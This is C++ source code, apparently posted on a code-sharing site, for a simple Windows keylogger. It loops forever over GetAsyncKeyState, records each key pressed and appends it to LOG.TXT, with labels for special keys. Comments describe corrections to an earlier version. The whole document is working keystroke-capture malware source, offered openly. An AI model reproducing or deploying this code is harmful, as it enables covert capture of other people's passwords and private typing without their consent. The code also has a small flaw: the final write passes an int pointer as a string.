1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62
|
#define _CRT_SECURE_NO_DEPRECATE //placed for unsafe warnings of fopen
#include <iostream>
#include <Windows.h>
#include <WinUser.h>
int Save (int key_stroke, char *file);
int main()
{
char i;
while (1) //consider an option to close console rather than keep looping forever
{
for (i = 8; i <= 190; i++)
{
if (GetAsyncKeyState(i) == -32767)
{
Save (i,"LOG.TXT");
}
}
}
std::cin.get(); //instead of sys pause, although will never occur because of the
return 0; //infinite while loop
}
/* ********************** */
/* ********************** */
//changed "Key_stroke" to "key_stroke"
//also changed 's' to 'S' because that's how function was defined (line 7)
int Save (int key_stroke, char *file)
{
if (key_stroke == 1|| key_stroke == 2)
{
return 0;
}
FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+"); //#define used to prevent warning (at top)
std::cout << key_stroke << std::endl; //using std::<whatever> instead of namespace
//changed format to reduce lines
if (key_stroke == 8) fprintf (OUTPUT_FILE, "%s", "[BACKSPACE]");
else if (key_stroke == 13) fprintf (OUTPUT_FILE, "%s", "[/n]");
else if (key_stroke == 32) fprintf (OUTPUT_FILE, "%s", " ");
else if (key_stroke == VK_TAB) fprintf (OUTPUT_FILE, "%s", "[TAB]");
else if (key_stroke == VK_SHIFT) fprintf (OUTPUT_FILE, "%s", "[SHIFT]");
else if (key_stroke == VK_CONTROL) fprintf (OUTPUT_FILE, "%s", "[CONTROL]");
else if (key_stroke == VK_ESCAPE) fprintf (OUTPUT_FILE, "%s", "[ESCAPE]");
else if (key_stroke == VK_END) fprintf (OUTPUT_FILE, "%s", "[END]");
else if (key_stroke == VK_HOME) fprintf (OUTPUT_FILE, "%s", "[HOME]");
else if (key_stroke == VK_LEFT) fprintf (OUTPUT_FILE, "%s", "[LEFT}");
else if (key_stroke == VK_RIGHT) fprintf (OUTPUT_FILE, "%s", "[RIGHT]");
else if (key_stroke == VK_UP) fprintf (OUTPUT_FILE, "%s", "[UP]");
else if (key_stroke == VK_DOWN) fprintf (OUTPUT_FILE, "%s", "[DOWN]");
else if (key_stroke == 190 || key_stroke == 110) fprintf (OUTPUT_FILE, "%s", " . ");
//corrected logic error
else fprintf (OUTPUT_FILE, "%s", &key_stroke);
fclose (OUTPUT_FILE); //always closes despite any conditionals
return 0;
}
| |